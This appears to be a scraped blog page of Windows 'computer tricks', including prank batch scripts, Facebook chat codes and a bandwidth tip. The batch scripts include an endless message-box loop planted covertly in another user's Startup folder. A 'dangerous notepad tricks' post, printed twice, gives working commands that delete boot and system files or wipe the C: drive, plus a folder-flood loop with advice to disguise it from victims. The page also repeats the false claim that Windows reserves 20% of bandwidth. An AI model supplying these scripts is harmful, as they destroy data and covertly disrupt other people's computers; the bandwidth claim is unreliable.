Funny, Easy Computer Pranks

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Funny, Easy Computer Pranks


Hi everyone!
Here is a fun, funny, and easy way to annoy your friends and family members by (harmlessly) messing with their computers. This one is a simple batch file that makes a message box pop up that says anything you want. The trick: no matter how many times you click OK, the message will never go away! Have fun!

Step 1: The Batch File

1: Open notepad (under Start > All Programs > Accesories > Notepad
Copy and paste these lines into Notepad:

@echo off
:top
msg * Insert your message here
goto top

Be sure to delete "insert your message here" and replace it with your own message!

Step 2: Saving the File

Go to File and click Save As.

First look at "Save as File Type" near the bottom. It should say "Text Documents". Change it to "All Files".

Type the name of your file into the "File Name" box, and be sure to end it with ".bat" instead of ".txt"

Save it to your "My Documents" folder.

Step 3: The Funny Part

Now, if you click on the batch file (which should look like a box with a gear inside it) in your Documents folder, the message should pop up. It will only go away if you restart the computer.

To make it begin automatically when you (or someone else) logs in, copy the file from the Documents folder.

Go to "My Computer", then go to:
Local Disk > Documents and Settings > (Username of Person you want to annoy) > Start Menu > Programs > Startup.

Paste the batch file  into the Startup folder.

Now it will run whenever they log in, and the person will never be able to find it! 
Mwahahaha!

Cool keyboard trick

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Cool keyboard trick

 
Keyboards usually have small LED's which indicates whether different types of locks(num lock, scroll lock, caps lock)  are activated or not. Here is a trick to use the lights of your keyboard in a more creative manner in Windows.

This trick uses a simple Visual basic script which when activated makes your scroll lock, caps lock and num locks LED's flash in a cool rhythmic way which gives the perception of a live disco on your keyboard.
 To make your own live disco, follow the steps given below:-

  • 1. Open Notepad.
  • 2. Copy paste the exact code given below:-


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
  • 3. Save the file as Disco.vbs or "*.vbs".
Double click on the Saved file to see the LED lights on your keyboard go crazy. 
This trick has been tested on Windows XP, Windows Vista and Windows 7 and found to be working perfectly.

You can disable the keyboard disco by following these steps
  • Open Task Manager ( ctrl+alt+del )
  • go to process tab
  • select wscript.exe 
  • click on end process

How to create facebook Chat codes

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How to create facebook Chat codes


Have you seen People sending Smiles and images that are not part of Facebook Traditional chat codes.
Here in this post You will see how easy it is to create these codes and Impress you Facebook friends
Like, The best part is you can create your Unique codes . You can create codes of any image stored in you computer, by following these steps

Follow these Steps :- 
1. Go to Smileyti

2. Click on "Browse" andselect The  picture you want to use in facebook chat.

3. Enter captcha code.[If you get one]

4. Click on "Upload Now" .

5. It will generate code in few seconds in This form<< [[512585645451273]] [[512585638784607]] >>
Copy The code
    
6. Paste it in facebook chat and hit enter.
 DONE :D

Happy New Year Facebook chat codes

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Happy New Year Facebook chat codes

Wish all of you  a very Happy and Prosper New Year. 
Below are some cool Facebook chat codes to say Happy new year to them on FB :)

1.
[[348175178622169]] [[348175175288836]] [[348175171955503]] [[348175168622170]] [[348175165288837]] [[348175275288826]] 
[[348175268622160]] [[348175261955494]] [[348175271955493]] [[348175265288827]] [[348175381955482]] [[348175371955483]] 
[[348175375288816]] [[348175378622149]] [[348175368622150]] [[348175475288806]] [[348175465288807]] [[348175471955473]] 
[[348175468622140]] [[348175478622139]] [[348175551955465]] [[348175555288798]] [[348175561955464]] [[348175548622132]] 
[[348175558622131]] [[348175648622122]] [[348175651955455]] [[348175655288788]] [[348175641955456]] [[348175645288789]] 
2.
 [[228970750573428]] [[228970747240095]] [[228970740573429]] [[228970743906762]] [[228970737240096]] [[228970823906754]] 
[[228970833906753]] [[228970830573420]] [[228970820573421]] [[228970827240087]] [[228970953906741]] [[228970967240073]] 
[[228970963906740]] [[228970957240074]] [[228970960573407]] [[228971053906731]] [[228971057240064]] [[228971047240065]] 
[[228971043906732]] [[228971050573398]] [[228971143906722]] [[228971153906721]] [[228971150573388]] [[228971147240055]] 
[[228971140573389]] [[228971260573377]] [[228971250573378]] [[228971253906711]] [[228971257240044]] [[228971263906710]] 

3.

[[322188301217545]] [[322188304550878]] [[322188311217544]] [[322188307884211]] [[322188314550877]] [[322188531217522]] 
[[322188537884188]] [[322188527884189]] [[322188521217523]] [[322188524550856]] [[322188697884172]] [[322188704550838]] 
[[322188691217506]] [[322188694550839]] [[322188701217505]] [[322188861217489]] [[322188871217488]] [[322188867884155]] 
[[322188857884156]] [[322188864550822]] [[322188954550813]] [[322188951217480]] [[322188947884147]] [[322188944550814]] 



4.

[[348187205287633]] [[348187198620967]] [[348187208620966]] [[348187201954300]] [[348187211954299]] [[348187288620958]] 
[[348187298620957]] [[348187291954291]] [[348187285287625]] [[348187295287624]] [[348187425287611]] [[348187441954276]] 
[[348187448620942]] [[348187428620944]] [[348187458620941]] [[348187685287585]] [[348187671954253]] [[348187695287584]] 
[[348187675287586]] [[348187668620920]] [[348187938620893]] [[348187941954226]] [[348187935287560]] [[348187931954227]] 
[[348187928620894]] [[348188201954200]] [[348188195287534]] [[348188198620867]] [[348188211954199]] [[348188208620866]] 


5.
  
[[228981703905666]] [[228981707238999]] [[228981710572332]] [[228981713905665]] [[228981700572333]] [[228981783905658]] 
[[228981787238991]] [[228981780572325]] [[228981790572324]] [[228981793905657]] [[228981890572314]] [[228981893905647]] 
[[228981883905648]] [[228981887238981]] [[228981897238980]] [[228981973905639]] [[228981983905638]] [[228981977238972]] 
[[228981980572305]] [[228981987238971]] [[228982070572296]] [[228982080572295]] [[228982073905629]] [[228982083905628]] 
[[228982077238962]] [[228982170572286]] [[228982167238953]] [[228982173905619]] [[228982160572287]] [[228982163905620]]
 

How to boost internet speed by 20% without any software

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How to boost internet speed by 20% without any software

Increase internet speed by 20% without any software – 

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. By unreserving this bandwidth, you can make your internet connection faster. By 20%. The steps to do so are – 

1. Click Start then Run and type "gpedit.msc" without quotes.

2. Then go to Local Computer Policy>Computer Configuration>Administrative Templetes>Network>QoS Packet Scheduler. Click on QoS Packet Scheduler. In the right side , find Limit Reservable Bandwidth and double click on Limit Reservable Bandwidth.

3. It will say it is not configured but the truth is under the ‘Explain’ tab. Select ‘Enable’ and set reservable bandwidth to zero. 

4. Click on ‘Apply’ and your internet speed will boost up by 20%.

Top 5 most Dengerous notepad Tricks

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Top 5 most Dengerous notepad Tricks

SOME DANGEROUS AND DEADLY  TRICKS
[CAUTION]
DO NOT TRY THESE FOR FUN!!

1. How to create more than 3,000 folders under a minute
1) Open your notepad and type
the following code.
@echo off
:top
md %random%

goto top
2) Save it as 1000.bat
@echo off makes your screen
appear blank but it is actually
making hundreds of folders.
md %random% is command that
creating folders with random
names.( md is a command to
make directory in ms-dos)
goto top – return the command
to :top, causes an infinite loop.
NOTE: The folders will get created
in the directory where you saved
the ”1000.bat” file.
The file might look suspicious to
your friends. So if you are
looking to fool your friends, then
change the file name and also
the icon so that he doesn’t
suspect the file to be a virus.
 ———————————————————————————
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2. How to Shutdown a computer forever?
Now Please don’t try this because this is the most simplest and deadliest hack for your windows computer. Copy the following
code into your notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

Save it as “shutdown-
forever.bat”. Just make sure it
has a .bat or .cmd extension.
DONT RUN THE BATCH FILE ,YOU
WONT RECOVER BACK AFTER YOU
RUN IT !!!
This should shutdown the persons computer. It shuts it off once
and deletes the files needed to reboot and restart.So please, use
this hack only if you have no intention of rebooting your computer again. So just be careful.
Here’s an alternative code.
cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q
Paste it in NotePad And Save It
with Extension .cmd or .bat.

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3. How to Delete all your system
files with a small command!
Copy the following code into your
notepad and save it as a .bat
file.
del *.*
All your files in your hard disk will
vanish in less than 5mins.
———————————————————————————
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4. RAM crashing trick
open notepad and type
:A
start http://computer-tricks-corner.blogspot.in/
goto A
save with .bat extension.
Infinitely loops your browser to
open up http://computer-tricks-corner.blogspot.in/
———————————————————————————
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5. Crash a Computer System With

Nothing But a Link.
This is a javascript “exploit” , it
will hang/crash your system. It
basically floods you with an
infinite loop of mailto:xxx
windows. To cancel this (and you
have to move fast) kill the
process of your email client
before you run out of RAM. Every
instance occupies about 1000
bytes, if your victim is smart, he
better end the process As soon as
possible or he will be forced to
reboot his computer.
WARNING THIS LINK WILL CRASH
YOUR BROWSER OR WORSE, YOUR
COMPUTER !!!!
Click Here
———————————————————————————
——————————————————–
NOTE: Try at your own risk
WE ARE NOT RESPONSIBLE FOR ANY LOSS CAUSED…
ENJOY!

SOME DANGEROUS AND DEADLY  TRICKS
[CAUTION]
DO NOT TRY THESE FOR FUN!!

1. How to create more than 3,000 folders under a minute
1) Open your notepad and type
the following code.
@echo off
:top
md %random%

goto top
2) Save it as 1000.bat
@echo off makes your screen
appear blank but it is actually
making hundreds of folders.
md %random% is command that
creating folders with random
names.( md is a command to
make directory in ms-dos)
goto top – return the command
to :top, causes an infinite loop.
NOTE: The folders will get created
in the directory where you saved
the ”1000.bat” file.
The file might look suspicious to
your friends. So if you are
looking to fool your friends, then
change the file name and also
the icon so that he doesn’t
suspect the file to be a virus.
 ———————————————————————————
——————————————————–


2. How to Shutdown a computer forever?
Now Please don’t try this because this is the most simplest and deadliest hack for your windows computer. Copy the following
code into your notepad
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows
\win.ini
del c:\windows\win.ini

Save it as “shutdown-
forever.bat”. Just make sure it
has a .bat or .cmd extension.
DONT RUN THE BATCH FILE ,YOU
WONT RECOVER BACK AFTER YOU
RUN IT !!!
This should shutdown the persons computer. It shuts it off once
and deletes the files needed to reboot and restart.So please, use
this hack only if you have no intention of rebooting your computer again. So just be careful.
Here’s an alternative code.
cmd /c del c:\windows\* /F /S /
Q
cmd /c del c:\* /F /S /Q
Paste it in NotePad And Save It
with Extension .cmd or .bat.

———————————————————————————
——————————————————–
3. How to Delete all your system
files with a small command!
Copy the following code into your
notepad and save it as a .bat
file.
del *.*
All your files in your hard disk will
vanish in less than 5mins.
———————————————————————————
——————————————————–
4. RAM crashing trick
open notepad and type
:A
start http://computer-tricks-corner.blogspot.in/
goto A
save with .bat extension.
Infinitely loops your browser to
open up http://computer-tricks-corner.blogspot.in/
———————————————————————————
——————————————————–
5. Crash a Computer System With

Nothing But a Link.
This is a javascript “exploit” , it
will hang/crash your system. It
basically floods you with an
infinite loop of mailto:xxx
windows. To cancel this (and you
have to move fast) kill the
process of your email client
before you run out of RAM. Every
instance occupies about 1000
bytes, if your victim is smart, he
better end the process As soon as
possible or he will be forced to
reboot his computer.
WARNING THIS LINK WILL CRASH
YOUR BROWSER OR WORSE, YOUR
COMPUTER !!!!
Click Here
———————————————————————————
——————————————————–
NOTE: Try at your own risk
WE ARE NOT RESPONSIBLE FOR ANY LOSS CAUSED…
ENJOY!